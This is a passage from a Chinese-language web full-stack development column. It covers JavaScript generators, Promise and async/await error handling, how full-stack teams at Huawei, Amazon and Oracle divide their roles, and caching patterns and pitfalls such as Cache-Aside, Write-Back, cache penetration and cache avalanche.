  console.log(idGenerator.next());
  console.log(idGenerator.next(1));
  console.log(idGenerator.next(2));
  console.log(idGenerator.next(3));
};

calculate(IdGenerator());

在往下阅读以前，你能不能先想一想，这个 calculate 方法的调用，会产生怎样的输出？

好，我来解释一下整个过程。现在这个 id 生成器每个循环节可以通过 yield 返回两次，我把上述执行步骤解释一下（为了便于说明代码位置，在生成器代码中我标记了“位置①”和“位置②”，请对应起来查看）：

调用 next()，位置①的 yield 右侧的 index 返回，因此值为 1；

调用 next(1)，实参为 1，它被赋值给位置①的 factor，参与位置②的 yield 右侧的表达式计算，得到 1；

调用 next(2)，实参为 2，它被赋值给位置②的 index，由于 while 循环的关系，位置①的 yield 右侧的 index 返回，因此得到 2；

调用 next(3)，实参为 3，它被赋值给位置①的 factor，参与位置②的 yield 右侧的表达式计算，3 * 2 得到 6。

使用图来表示，就是这样子：

从图中你应该可以理解，通过生成器来实现 JavaScript 协程的原理了。本质上来说，生成器将一个完整的方法执行通过 yield 拆分成了多个部分，并且每个部分都可以有输入输出，整个过程就是一个简单的状态机。它和其它函数一起，以反复挂起和恢复的方式一段一段地将任务完成。

最后，结果输出如下：

{value: 1, done: false}
{value: 1, done: false}
{value: 2, done: false}
{value: 6, done: false}

3. 异步错误处理

错误处理是所有编程范型都必须要考虑的问题，在使用 JavaScript 进行异步编程时，也不例外。你可能会有这样一个疑问，如果我们不做特殊处理，会怎样呢？且看下面的代码，我先定义一个必定会失败的方法：

var fail = () => {
  setTimeout(() => {
    throw new Error("fail");
  }, 1000);
};

然后调用一下：

console.log(1);
try {
  fail();
} catch (e) {
  console.log("captured");
}
console.log(2);

在 Chrome 开发者工具的控制台中执行一下，我们将看到 1 和 2 的输出，并在 1 秒钟之后，获得一个“Uncaught Error”的错误打印，注意观察这个错误的堆栈：

Uncaught Error: fail
    at <anonymous>:3:11
    at e (lizard-service-vendor.2b011077.js:1)
  (anonymous)  @  VM261:3
  e  @  lizard-service-vendor.2b011077.js:1
  setTimeout (async)
  (anonymous)  @  lizard-service-vendor.2b011077.js:1
  fail  @  VM261:2
  (anonymous)  @  VM296:3

我们看到了其中的 setTimeout (async) 这样的字样，表示着这是一个异步调用抛出的堆栈，但是，“captured” 这样的字样也并未打印，因为母方法 fail() 本身的原始顺序执行并没有失败，这个异常的抛出是在回调行为里发生的。

从上面的例子可以看出，对于异步编程来说，我们需要使用一种更好的机制来捕获并处理可能发生的异常。

Promise 的异常处理

还记得上面介绍的 Promise 吗？它除了支持 resolve 回调以外，还支持 reject 回调，前者用于表示异步调用顺利结束，而后者则表示有异常发生，中断调用链并将异常抛出：

var exe = (flag) =>
  () => new Promise((resolve, reject) => {
    console.log(flag);
    setTimeout(() => { flag ? resolve("yes") : reject("no"); }, 1000);
  });

上面的代码中，flag 参数用来控制流程是顺利执行还是发生错误。在错误发生的时候，no 字符串会被传递给 reject 函数，进一步传递给调用链：

Promise.resolve()
  .then(exe(false))
  .then(exe(true));

你看，上面的调用链，在执行的时候，第二行就传入了参数 false，它就已经失败了，异常抛出了，因此第三行的 exe 实际没有得到执行，你会看到这样的执行结果：

false
Uncaught (in promise) no

这就说明，通过这种方式，调用链被中断了，下一个正常逻辑 exe(true) 没有被执行。

但是，有时候我们需要捕获错误，而继续执行后面的逻辑，该怎样做？这种情况下我们就要在调用链中使用 catch 了：

Promise.resolve()
  .then(exe(false))
  .catch((info) => { console.log(info); })
  .then(exe(true));

这种方式下，异常信息被捕获并打印，而调用链的下一步，也就是第四行的 exe(true) 可以继续被执行。我们将看到这样的输出：

false
no
true

async/await 下的异常处理

利用 async/await 的语法糖，我们可以像处理同步代码的异常一样，来处理异步代码：

var run = async () => {
  try {
    await exe(false)();
    await exe(true)();
  } catch (e) {
    console.log(e);
  }
}

run();

简单说明一下 ，定义一个异步方法 run，由于 await 后面需要直接跟 Promise 对象，因此我们通过额外的一个方法调用符号 () 把原有的 exe 方法内部的 Thunk 包装拆掉，即执行 exe(false)() 或 exe(true)() 返回的就是 Promise 对象。在 try 块之后，我们使用 catch 来捕捉。运行代码，我们得到了这样的输出：

false
no

这个 false 就是 exe 方法对入参的输出，而这个 no 就是 setTimeout 方法 reject 的回调返回，它通过异常捕获并最终在 catch 块中输出。就像我们所认识的同步代码一样，第四行的 exe(true) 并未得到执行。

总结思考

今天我们结合实例学习了 JavaScript 异步编程的一些方法，包括使用 Promise 或 async/await 来改善异步代码，使用生成器来实现协程，以及怎样进行异步错误处理等等。其中，Promise 相关的使用是需要重点理解的内容，因为它的应用性非常普遍。

现在，我来提两个问题：

在你的项目中，是否使用过 JavaScript 异步编程，都使用了和异步编程有关的哪些技术呢？

ES6 和 ES7 引入了很多 JavaScript 的高级特性和语法糖，包括这一讲提到的部分。有程序员朋友认为，这些在项目中的应用，反而给编程人员的阅读和理解造成了困扰，增加了学习曲线，还不如不用它们，写“简单”的 JavaScript 语法。对此，你怎么看？

在本章我们学习了基于 Web 的全栈技术中，前端相关的部分，希望这些内容能够帮到你，在前端这块土地上成长为更好的工程师。同时，在这一章我们学到了很多套路和方法，请回想一下，并在未来的工作中慢慢应用和体会，它们都是可以应用到软件其它领域的设计和编码上的。在第四章，我们会将目光往后移，去了解了解持久化的世界，希望现在的你依然充满干劲！

扩展阅读

对于今天学习的 Promise，你可以在 MDN 的使用 Promise 一文中读到更为详尽的介绍；第二个是生成器，生成器实际上功能很强大，它甚至可以嵌套使用，你也可以参见 MDN 的示例教程。

如果你想快速浏览 ES6 新带来的 JavaScript 高级特性，我推荐你浏览 ECMAScript 6 入门，从中挑选你感兴趣的内容阅读。

Async-Await ≈ Generators + Promises 这篇文章介绍了生成器、Promise 和 async/await 之间的关系，读完你就能明白“为什么我们说 async/await 是生成器和 Promise 的语法糖”，感兴趣的朋友可以阅读，想阅读中文版的可以参见这个翻译。

20 | 特别放送：全栈团队的角色构成

你好，我是四火。又到了一个章节的末尾，相对轻松的特别放送时间。

从技术的角度上看，和相对偏“硬”的常规内容不同，特别放送部分，我一般倾向于介绍一些较“软”的其他内容。第一章的 [特别放送] 我介绍了北美大厂工程师的面试流程，第二章的 [特别放送] 我们讨论了学习的方法。那第三章的特别放送，也就是你正在阅读的这一讲，我想结合我自己的经历，谈一谈全栈团队的角色构成。

这些团队的角色构成可以说各有春秋，但是和以往直接进行优劣比较的方式不同，今天我想换个形式，在这一讲的分享中，我将尽量保持中立和平和，而将有态度和有观点的思考留给你。

我们整个专栏都在讲基于 Web 的全栈工程师，相应的，这里我提到的角色构成是针对“全栈团队”的。但它并非指一群全栈工程师所组成的团队，而是说，一个团队具备较多方面、较多层次的技能，联合协作去解决某一个具体领域的问题。

就我的工作经历而言，我其实在不少团队中待过，团队有大有小，既有国内的公司，也有北美的公司。而其中的几个大的项目，呆过的几个大的团队都可以认为是全栈团队。

华为

在华为的时候，我曾经作为某大型门户网站产品的初创团队成员，在其基线团队中呆了几年。你可能听说过，像华为这样的公司做产品，具备的最大优势就是“全面”，一般的公司可能着重于从某一个用户痛点，聚焦于某一个较窄范围内的问题解决办法，而华为具备足够的人力和财力去打造一个全渠道的完整体系的解决方案。

整个产品团队后来分为基线团队和定制团队两部分，前者着重于打造具备基础功能的产品，是产品交付的基础；而定制团队有多个，将基线版本根据不同的业务需求定制化，包括功能的裁剪和添加，以及针对业务的专项优化，卖到不同的国家和不同的市场中去。

当时，我们的基线产品研发团队中，有这样几个核心角色。

项目经理，项目总负责人，这个角色是不断在换的。项目经理当然是跟着项目走的，我们交付一个版本的时间在一个多月左右，那么每个版本都可以指定不同的项目经理。这个角色和团队经理（Team Leader）是不一样的，当然，理论上可以兼任。有时，团队经理也往往在不同的项目里面兼任项目经理。基层的项目经理一般都是程序员出身，也可能参与编码，但是不管参不参与编码，往往都会在产品的技术决策上有相当大的影响力。要说一个团队中最累的角色，可能就是项目经理了。我记得当时项目到了最紧张疯狂的时候，如今的 996 看起来根本就是不必言说的浮云，我的项目经理一周七天有三天是睡在公司的。

SE（System Engineer，系统工程师），实际角色相当于现在大多数公司的产品经理。这个角色负责从市场部门承接需求，然后做“系统性设计”。当然，这个系统多数指的是业务系统，也就是说，他们多数时候不关心技术层面的实现，但是业务流程精通得很。SE 的出身可以说是鱼龙混杂，有工程师，有测试，甚至有一线运维人员，毕业生是不能担任 SE 这个角色的，这个职位要求有一定的工作经验，因此他们大多是工作一定年头后转过来的。一个项目一般只有一个 SE，但是一些重点项目，或者规模较大的项目，可以有多个，比如我们当时的项目，一开始安排了 3 个 SE，在数周的“封闭会议”后，整个解决方案大的业务和技术框架就定下来了。同在基层，不同的公司中不同角色的“地位”是有差异的。比如在腾讯，产品经理相对话语权更大；在 Google，工程师更占主导；而在华为，市场部门是老大，研发体系相对要弱势一些，SE 则是二者沟通的桥梁。

测试，早些年华为的测试和开发是从组织架构上完全分开的，后来开发和测试也在逐渐融合，但也远不像互联网公司那样两个角色合一，而每天开发和测试之间的沟通协调，甚至争辩斗嘴就是我们的“日常”，团队氛围可以说颇为融洽。软件版本从开发手里转交到测试手里（所谓“转测试”），这个过程对于基线版本的工程师来说，其实就相当于版本发布了，是整个研发过程中的一件大事。流程上它需要经过测试团队提供的 checklist 来验证并确保没有严重问题，否则版本将被打回。但事实上要保证这个并不是一件容易的事，因此为了反复修复和验证 checklist 上面的检查项，转测试当天一般要拖很久，多半都需要通宵。当时，作为门户网站，测试人员和开发人员的比例一般说是 1:2 到 1:3，而且基本上测试的角色在这个体系中相对受轻视，测试活动一般都是黑盒的，多数也没有太多的技术含量。

架构师，大致可分为平台架构师和解决方案架构师，我们当时合作的是后者。这个角色就像是幕后高手一样，一般不出现。只是在一些非常重大的项目上，最先跳出来挥斥方遒，带领一帮 SE 搞定架构设计。架构师的经验阅历和技术功底都是相当靠谱的，但是几个月之后，包括架构维护的时间他就消失了。

用户体验，特别是界面设计方面，有这样几个角色协同合作：UCD 工程师，和用户沟通相对紧密，主导产品的界面设计和使用设计，然后把设计方案（多数是 PPT 一类的文档）交给负责设计的美工；而负责设计的美工，将方案落实到 Photoshop 的 psd 设计文件中，再交给另一波负责快速原型的美工；而这一波美工会将设计落实成一个 HTML 的快速原型，交到最终负责开发的工程师手里。

QA，这个质量保证的角色命名上其实有点奇怪，因为他们不做测试，而是专门监管流程质量，既包括研发流程，也做一些代码静态分析的工作，总的来说算是一份闲差。他们平时不出现，出现也不检查架构，不检查设计，而是要检查项目的各种工具指标，比如什么测试覆盖率、圈复杂度、代码重复率等等。显然，很多工程师都不喜欢这些束手束脚的东西。

最后，也是人数最多的，那就是开发，也就是程序员，这是整个研发体系的大军。前面已经提到了，需求总是从 SE 那里来的，如果是项目内部改进的需求，也需要开发出文档，再汇总到 SE 的需求列表里面去。绝大部分时间里，大家的任务都是按功能特性划分，而不是按照软件层次划分的，也就是说从工作应用的 Web 技术栈上看，确实是真正的“全栈”。作为基线版本的开发，我们不需要管上线之后的事情，因为有专门的运维人员第一时间来处理，而那些解决不了的问题和软件上的 bug 到了定制版本的研发团队那里，也多半被消化掉了，只有少数的具备共性的问题，才会送到基线版本的研发团队手里。

Amazon

在亚马逊，我经历了两个比较大的全栈团队，一个是销量预测团队，一个是成本和利润计算的团队。

这两个团队中，前者的核心就是为亚马逊所有的商品预测销量，后者则是计算成本和利润，二者的实时性都比较高，数据量也都比较大，它们的技术栈类似，涉及机器学习、大数据处理、分布式任务管理、数据可视化等等，从整体看明显也是一个全栈团队，且角色构成也是较为丰富的。

团队经理的角色依然存在，对于每一个小团队来说，经理就是 Dev Manager，多数是软件工程师出身。只要不是跨团队的大项目，一般规模的项目都由 Dev Manager 牵头负责，小项目则由资深的工程师自己牵头负责。因此，项目经理这个角色，其实并不经常提起。

TPM（Technical Project Manager）担任起了产品经理的角色，负责业务需求的分析、设计和跟踪。如果项目是跨团队的，那么项目会有专职 TPM 来负责团队之间的协调。这个角色需要对业务非常熟悉，而技术层面要求不高。因为大团队是偏向于数据处理的，因此 TPM 如果有技术背景更好，但是那样的人才会非常难找。我知道某些公司要求这样的角色也有软件工程师背景，但是就我所经历的公司和我所了解的绝大多数公司的情况，并不是这样的。

值得一提的是，这两个团队都没有设 QA 的职位。QA 其实就是专职的测试，不过这样的角色在亚马逊的大多数团队中基本消失了。说基本消失，是因为绝大多数团队中，负责开发的工程师就把自己团队的产品测试工作给承包了，因此并不设立单独的测试岗位。当然，对于直接面向互联网和大众的产品，特别是包含复杂 UI 的产品，还能看到少量专职的测试工程师的存在，来负责部分专门的测试工作，当然，这一职位，很多时候是外包出去的。

SDE，全称是 Software Development Engineer，是主力军，也是粘合剂，不只是在技术层面上看是全栈的，就做的工作的类型上看也是（即从需求澄清、功能分解、任务跟踪，到开发、测试、部署、维护，全部都是开发人员做的，这点和华为的经历有所不同）。当然，对于工程层面的项目设计，也是有经验的工程师主导的，这个和前面说得差不多。在亚马逊有句对 SDE 戏谑的解释叫做“Someone Does Everything”。而所有的最小的团队，每个团队一般只有几个人，“Pizza Team”的称呼就是这么来的，就是说，团队的人用两张披萨就能喂饱，如果团队规模扩张到了超过 Pizza Team 的程度，就要拆分。

有时候，当前端工作的需求量特别大，团队就会规划招一个和 SDE 类似的特殊角色——WDE。WDE 就是 Web Development Engineer，有点像国内的“前端工程师”的角色了。也就是说，亚马逊只有 SDE 和 WDE，没有“后端工程师”这样的角色定位。说实话，这个角色设置得有些奇怪，在公司内部也颇受争议，争议的部分主要在于，这个角色的工程师应该怎样考察，衡量的标准在哪里。哪些方面必须比一般的 SDE 要求高可能好说，比如前端的工程能力，但是可以允许在哪些方面比一般的 SDE 低却不好说。而且从高级别的工程师比例来看，和 SDE 比起来，WDE 的发展往往容易受到挤压和限制。

因为我所在的两个团队都是偏重数据的团队，因此其中还有许多 Data Analyst，也就是数据分析师，他们和软件工程师的比例大致是 1:3，擅长和数据打交道，SQL 用得滚瓜烂熟，需要经常扎到数据堆里调查业务问题。这里面有一个很有意思的事情是，他们使用的很多工具，都是需要 SDE 来开发维护的，有时候 SDE 工作过于繁忙，来不及处理这样的问题，他们就被迫“Dev 化”，自己尝试去解决本该由 SDE 来处理的工具问题。

另外，经常和数据打交道的还有一类人数不多的角色，叫做 Data Scientist，有一种戏谑的说法是“Data Scientist is Data Analyst in California”，这足见二者在技术能力和工作范畴上有一定的相似度。但是 Data Scientist 更多地要涉足机器学习，要基于数据建立起合适的模型，因此他们都有相当的专业背景。在我待过的那个销量预测团队中，预测的模型最开始就是他们建立起来并逐步调优的。

接着是 Program Manager，这个角色定位本身比较模糊，而我的观察是，他们很擅长和用户打交道，需要接触并回答用户的问题。和 TPM 不同的是，他们很少负责用户需求。这样的职位不多，但是用户提的问题多了，沟通的活儿多了，就需要这样的角色来分担压力。在同等用户量的情况下，东西做得越好，越容易使用，这样的角色就越是不需要的；而越是做得烂的产品，或者说是不成熟的产品，才越是需要有人不断地去回答问题。

Supporting Engineer，这几乎可以说就是个苦差事，他们做的其实就是运维（Ops）的活儿。事实上，多数的团队中，SDE 把测试的活儿都干了，也把大部分运维的活都给干了，通过运维的痛苦来反哺开发。有句话叫做“吃自己的狗食”（Eat Your Own Dog Food），就是说，SDE 自己开发埋的坑，自己不好好测试漏掉的坑，就要自己在 oncall 的时候半夜爬起来响应，并痛苦地解决线上问题。因此让 SDE 来运维肯定是首选，但是某些团队由于业务量等等的原因，SDE 干不过来，特别是在非工作时间发生问题的时候，于是支持工程师这样的角色就应运而生了。因为不同时差和低人力成本的关系，有一些这样的角色包给印度团队去做了。当然，也有很多团队，SDE 就在轮流干这样的活儿，其实也没有差别了，只是明面上的职位名称不同而已。你可以联想一下 AWS 如今的规模，这样的运维需求其实还是非常巨大的。当然，一般来说，在同等业务规模的情况下，产品做得越好，支持工程师的需求量就应该越少。

Oracle

如今我呆的 OCI 的团队，依然是一个全栈团队，它的主要角色类型其实也差不太多。但是由于团队普遍比较新，一些以往需要其他专职角色干的活儿，目前还是由 SDE 来完成的。

这就是今天的全部内容，你对这些角色有什么看法？在你所经历的团队中，人员的角色构成又是怎样的呢？不妨分享一下吧。

21 | 赫赫有名的双刃剑：缓存（上）

你好，我是四火。

从今天开始，我们将继续在基于 Web 的全栈技术上深挖，本章我们介绍持久层。缓存是全栈开发中非常重要的一环，因此我把它放到了数据持久化系列的开篇。

缓存使用好了，会是一把无比锋利的宝剑，特别对于性能的提升往往是立竿见影的；但使用不好就会严重影响系统运行，甚至因为数据一致性问题造成严重的数据错误。这一讲，我将为你介绍缓存的本质以及缓存的应用模式。

缓存的本质

工作中，我们可能每周都会谈到缓存，我们见过各种各样的缓存实现，网上也有各种各样的解释和定义。可是，你觉得，到底什么是缓存呢？

我认为，缓存，简单说就是为了节约对原始资源重复获取的开销，而将结果数据副本存放起来以供获取的方式。

首先，缓存往往针对的是“资源”。我们前面已经多次提到过，当某一个操作是“幂等”的和“安全”的（如果不记得的话请重看 [第 04 讲]），那么这样的操作就可以被抽象为对“资源”的获取操作，那么它才可以考虑被缓存。有些操作不幂等、不安全，比如银行转账，改变了目标对象的状态，自然就难以被缓存。

其次，缓存数据必须是“重复”获取的。缓存能生效的本质是空间换时间。也就是说，将曾经出现过的数据以占据缓存空间的方式存放下来，在下一次的访问时直接返回，从而节约了通过原始流程访问数据的时间。有时候，某些资源的获取行为本身是幂等的和安全的，但实际应用上却不会“重复”获取，那么这样的资源是无法被设计成真正的缓存的。我们把一批数据获取中，通过缓存获得数据的次数，除以总的次数，得到的结果，叫做缓存的命中率。

再次，缓存是为了解决“开销”的问题。这个开销，可不只有时间的开销。虽然我们在很多情况下讲的开销，确实都是在时间维度上的，但它还可以是 CPU、网络、I/O 等一切资源。例如我们有时在 Web 服务中增加一层缓存，是为了避免了对原始资源获取的时候，对数据库资源调用的开销。

最后，缓存的存取其实不一定是“更快”的。有些程序员朋友对缓存访问总有一个比原始资源访问“更快”的概念，但这是不确切的。那不快，还要缓存干什么呢？别急，请往下看。

针对上面说的对“开销”的节约，你可以想象，每一种开销都能够成为缓存使用的动机。但其中，有两个使用动机最为常见，一个是 latency，延迟，即追求更低的延迟，这也是“更快”这个印象的由来；另一个使用动机，是 throughput，吞吐量，即追求更高的吞吐量。这个事实存在，也很常见，但是却较少人提及，且看下面的例子。

比如某个系统，数据在关系数据库中存放，获取速度很快，但是还在 S3 这个分布式文件系统上存放有数据副本，它的访问速度在该系统中要低于数据库的访问速度。某些请求量大的下游系统，会去 S3 获取数据，这样就缓和了前一条提到的数据库“开销”问题，但数据获取的速度却降下来了。这里 S3 存放的数据，也可以成为很有意义的缓存，即便它的存取其实是更慢的。这种情况下，S3 并没有改善延迟，但提供了额外的吞吐量，符合上面提到的第二个使用动机。

另外，即便我们平时谈论的缓存“更快”访问的场景，这个“快”也是相对而言的，在不同系统中同一对象会发生角色的变化。例如，CPU 的多级高速缓存，就是内存访问的“缓存”；而内存虽然较 CPU 存取较慢，但比磁盘快得多，因此它可以被用作磁盘的“缓存”介质。

缓存无处不在

曾经有一个很经典的问题，讲的大致是当浏览器地址栏中，输入 URL（比如极客时间 https://time.geekbang.org/）按下回车，之后的几秒钟时间里，到底发生了什么。我们今天还来谈论这件事情，但是从一个特别的角度——缓存的角度来审视它。

对于地址栏中输入的域名，浏览器需要搞清楚它代表的 IP 地址，才能进行访问。过程如下：

它会先查询浏览器内部的“域名 -IP”缓存，如果你曾经使用该浏览器访问过这个域名，这里很可能留有曾经的映射缓存；

如果没有，会查询操作系统是否存在这个缓存，例如在 Mac 中，我们可以通过修改 /etc/hosts 文件来自定义这个域名到 IP 的映射缓存；

如果还没有，就会查询域名服务器（DNS，Domain Name System），得到对应的 IP 和可缓存时间。

Linux 或 Mac 系统中，你可以使用 dig 命令来查询：

dig time.geekbang.org

得到的信息中包含：

time.geekbang.org.  600  IN  A  39.106.233.176

这是说这个 IP 地址就是极客时间对应的地址，可以被缓存 600 秒。

当请求抵达服务端，在反向代理中也是可以进行缓存配置的，比如我们曾经在 [第 09 讲] 中介绍过服务端包含 SSI 的方式来加载母页面上的一些静态内容。

接着，请求终于抵达服务端的代码逻辑了，对于一个采用 MVC 架构的应用来说，MVC 的各层都是可以应用缓存模式的。

对于 Controller 层来说，我们在 [第 12 讲] 中曾经介绍过拦截过滤器，而拦截过滤器中，我们就是可以配置缓存来过滤服务的，即满足某些要求的可缓存请求，我们可以直接通过过滤器返回缓存结果，而不执行后面的逻辑，我们在下一讲会学到具体怎样配置。

对于 Model 层来说，几乎所有的数据库 ORM 框架都提供了缓存能力，对于贫血模型的系统，在 DAO 上方的 Service 层基于其暴露的 API 应用缓存，也是一种非常常见的形式。

对于 View 层，很多页面模板都支持缓存标签，页面中的部分内容，不需要每次都执行渲染操作（这个开销很可能不止渲染本身，还包括需要调用模型层的接口而造成显著的系统开销），而可以直接从缓存中获取渲染后的数据并返回。

当母页面 HTML 返回了浏览器，还需要加载页面上需要的大量资源，包括 CSS、JavaScript、图像等等，都是可以通过读取浏览器内的缓存，而避免一个新的 HTTP 请求的开销的。通过服务端设置返回 HTTP 响应的 Cache-Control 头，就可以很容易做到这一点。例如：

Cache-Control: public, max-age=84600

上面这个请求头就是说，这个响应中的数据是“公有”的，可以被任意级节点（包括代理节点等等）缓存最多 84600 秒。

即便某资源无法被缓存，必须发起单独的 HTTP 请求去获取这样的资源，也可以通过 CDN 的方式，去较近的资源服务器获取，而这样的资源服务器，对于分布式网络远端的中心节点来说，就是它的缓存。

你看，对于这样的一个过程，居然有那么多的缓存在默默地工作，为你的网上冲浪保驾护航。如果继续往细了说，这个过程中你会看到更多的缓存技术应用，但我们就此打住吧，这些例子已经足够说明缓存应用的广泛度和重要性了。

缓存应用模式

在 Web 应用中，缓存的应用是有一些模式的，而我们可以归纳出这些模式以比较的方式来学习，了解其优劣，从而在实际业务中可以合理地使用它们。

1. Cache-Aside

这是最常见的一种缓存应用模式，整个过程也很好理解。

数据获取策略：

应用先去查看缓存是否有所需数据；

如果有，应用直接将缓存数据返回给请求方；

如果没有，应用执行原始逻辑，例如查询数据库得到结果数据；

应用将结果数据写入缓存。

我们见到的多数缓存，例如前面提到的拦截过滤器中的缓存，基本上都是按照这种方式来配置和使用的。

数据读取的异常情形：

如果数据库读取异常，直接返回失败，没有数据不一致的情况发生；

如果数据库读取成功，但是缓存写入失败，那么下一次同一数据的访问还将继续尝试写入，因此这时也没有不一致的情况发生。

可见，这两种异常情形都是“安全”的。

数据更新策略：

应用先更新数据库；

应用再令缓存失效。

这里，避免踩坑的关键点有两个：

数据更新的这个策略，通常来说，最重要的一点是必须先更新数据库，而不是先令缓存失效，即这个顺序不能倒过来。原因在于，如果先令缓存失效，那么在数据库更新成功前，如果有另外一个请求访问了缓存，发现缓存数据库已经失效，于是就会按照数据获取策略，从数据库中使用这个已经陈旧的数值去更新缓存中的数据，这就导致这个过期的数据会长期存在于缓存中，最终导致数据不一致的严重问题。

这里我画了一张图，可以帮你理解，如果先令缓存失效，再更新数据库，为什么会导致问题：

第二个关键点是，数据库更新以后，需要令缓存失效，而不是更新缓存为数据库的最新值。为什么呢？你想一下，如果两个几乎同时发出的请求分别要更新数据库中的值为 A 和 B，如果结果是 B 的更新晚于 A，那么数据库中的最终值是 B。但是，如果在数据库更新后去更新缓存，而不是令缓存失效，那么缓存中的数据就有可能是 A，而不是 B。因为数据库虽然是“更新为 A”在“更新为 B”之前发生，但如果不做特殊的跨存储系统的事务控制，缓存的更新顺序就未必会遵从“A 先于 B”这个规则，这就会导致这个缓存中的数据会是一个长期错误的值 A。

这张图可以帮你理解，如果是更新缓存为数据库最新值，而不是令缓存失效，为什么会产生问题：

如果是令缓存失效，这个问题就消失了。因为 B 是后写入数据库的，那么在 B 写入数据库以后，无论是写入 B 的请求让缓存失效，还是并发的竞争情形下写入 A 的请求让缓存失效，缓存反正都是失效了。那么下一次的访问就会从数据库中取得最新的值，并写入缓存，这个值就一定是 B。

这两个关键点非常重要，而且不当使用引起的错误还非常常见，希望你可以完全理解它们。在我参与过的项目中，在这两个关键点上出错的系统我都见过（在这两点做到的情况下，其实还有一个理论上极小概率的情况下依然会出现数据错误，但是这个概率如此之小，以至于一般的系统设计当中都会直接将它忽略，但是你依然可以考虑一下它是什么）。

数据更新的异常情形：

如果数据库操作失败，那么直接返回失败，没有数据不一致的情况发生；

如果数据库操作成功，但是缓存失效操作失败，这个问题很难发生，但一旦发生就会非常麻烦，缓存中的数据是过期数据，需要特殊处理来纠正。

2. Read-Through

这种情况下缓存系统彻底变成了它身后数据库的代理，二者成为了一个整体，应用的请求访问只能看到缓存的返回数据，而数据库系统对它是透明的。

有的框架提供的内置缓存，例如一些 ORM 框架，就是按这种 Read-Through 和 Write-Through 来实现的。

数据获取策略：

应用向缓存要求数据；

如果缓存中有数据，返回给应用，应用再将数据返回；

如果没有，缓存查询数据库，并将结果写入自己；

缓存将数据返回给应用。

数据读取异常的情况分析和 Cache-Aside 类似，没有数据不一致的情况发生。

3. Write-Through

和 Read-Through 类似，图示同上，但 Write-Through 是用来处理数据更新的场景。

数据更新策略：

应用要求缓存更新数据；

如果缓存中有对应数据，先更新该数据；

缓存再更新数据库中的数据；

缓存告知应用更新完成。

这里的一个关键点是，缓存系统需要自己内部保证并发场景下，缓存更新的顺序要和数据库更新的顺序一致。比如说，两个请求分别要把数据更新为 A 和 B，那么如果 B 后写入数据库，缓存中最后的结果也必须是 B。这个一致性可以用乐观锁等方式来保证。

数据更新的异常情形：

如果缓存更新失败，直接返回失败，没有数据不一致的情况发生；

如果缓存更新成功，数据库更新失败，这种情况下需要回滚缓存中的更新，或者干脆从缓存中删除该数据。

还有一种和 Write-Through 非常类似的数据更新模式，叫做 Write-Around。它们的区别在于 Write-Through 需要更新缓存和数据库，而 Write-Around 只更新数据库（缓存的更新完全留给读操作）。

4. Write-Back

对于 Write-Back 模式来说，更新操作发生的时候，数据写入缓存之后就立即返回了，而数据库的更新异步完成。这种模式在一些分布式系统中很常见。

这种方式带来的最大好处是拥有最大的请求吞吐量，并且操作非常迅速，数据库的更新甚至可以批量进行，因而拥有杰出的更新效率以及稳定的速率，这个缓存就像是一个写入的缓冲，可以平滑访问尖峰。另外，对于存在数据库短时间无法访问的问题，它也能够很好地处理。

但是它的弊端也很明显，异步更新一定会存在着不可避免的一致性问题，并且也存在着数据丢失的风险（数据写入缓存但还未入库时，如果宕机了，那么这些数据就丢失了）。

总结思考

今天我们学习了缓存的本质、应用，仔细比较了几种常见的应用模式。在理解缓存本质的基础上，Cache-Aside 模式是缓存应用模式中的重点，在我们实际系统的设计和实现中，它是最为常用的那一个。希望这些缓存的知识可以帮到你！

现在我来提两个问题，检验一下今天的学习成果吧。

在你参与的项目中，是否应用到了缓存，属于哪一个应用模式，能否举例说明呢？

这一讲提到了几种缓存应用模式，你能否说出 Cache-Aside 和 Write-Back 这两种模式各有什么优劣，它们都适应怎样的实际场景呢？

看到最后，你可能会想，不是说双刃剑吗？杀敌的那一刃已经介绍了，可自伤的那一刃呢？别急，我们下一讲就会讲到缓存使用中的坑，以期有效避免缓存使用过程中的问题。今天的内容就到这里，欢迎你和我讨论。

扩展阅读

文中提到使用 dig 命令来查询 DNS 返回的 IP 地址，想了解更完整的原理，可以参阅 DNS 原理入门。

文中提到了 HTTP 响应中的缓存设置头，请参阅 MDN 的 HTTP 缓存一节以获得更为细致的讲解。

文中提到了乐观锁，不清楚的话，你可以阅读这个词条，以及这篇文章以进一步理解。

22 | 赫赫有名的双刃剑：缓存（下）

你好，我是四火。

在上一讲中，我们介绍了缓存的本质和应用模式。今天我们继续讨论缓存，这一讲会结合一些实际项目，谈一谈缓存的使用会有哪些问题，以及缓存框架的一些通用性的东西。

缓存使用的问题

既然说缓存是“双刃剑”，那我们就必须要谈论它的另一刃——缓存使用可能带来的问题。

1. 缓存穿透

缓存穿透，指的是在某些情况下，大量对于同一个数据的访问，经过了缓存屏障，但是缓存却未能起到应有的保护作用。举例来说，对某一个 key 的查询，如果数据库里没有这个数据，那么缓存中也没有数据的存放，每次请求到来都会去查询数据库，缓存根本起不到应有的作用。

当然，这个问题也不难解决，比方说我们可以在缓存中对这个 key 存放一个空结果，毕竟“没有结果”也是结果，也是需要缓存起来的。还有一种缓解方法是使用布隆过滤器等数据结构，在数据库查询之前，预先过滤掉某些不存在的结果。

还有一种特殊情况也会造成缓存穿透的严重后果。一般的缓存策略下，往往需要先发生一次缓存命中失败，接着从实际存储（比如数据库）中得到结果，再回填到内存缓存中。但是，如果这个数据库查询过程比较慢，大量同一数据的请求像雨点一样几乎同时到来，就会全部穿透缓存，一并落到了数据库上，而那个时候最早的那个请求引发的缓存回填甚至都还没有发生，在这种情况下数据库直接就挂掉了，虽然缓存的机制本身看起来并没有任何问题。

这种问题在某些时间窗口敏感的高并发系统中可能出现，解决方法有这样两种。

一种是以流量控制的方式，限制对于同一数据的访问，必须等到前一个完成以后，下一个才能进行，即如果缓存失效而引发的数据库查询正在进行，其它请求就得老老实实地等着。这种方法通用性好，但这个等待机制可能较为复杂，且有可能影响用户体验。

另一种方法是缓存预热，在大批量请求到来以前，先主动将该缓存填充好。这种方法操作简单高效，但局限性是需要提前知道哪些数据可能引发缓存穿透的问题。

2. 缓存雪崩

原本起屏障作用的缓存，如果在一定的时间段内，对于大量的请求访问失效，即失去了屏障作用，造成它后方的系统压力过大，引起系统过载、宕机等问题，就叫做缓存雪崩。

我以前在 Amazon 工作的时候，有个著名的内部分享，介绍了 Amazon 曾经发生的“六大灾难”，其中一大就是缓存雪崩。这个问题发生的时间已经是好多年前了，具体是这样的：有一次 Amazon 机房突然断电，在恢复的时候把网页服务器都通上了电，这时候缓存服务几乎还没有缓存数据，缓存命中率几乎为零，于是大量的请求冲向数据库，直接把数据库冲垮了。外在的表现就是，断电导致网站无法提供服务，短期内访问恢复，随后又丧失服务能力。

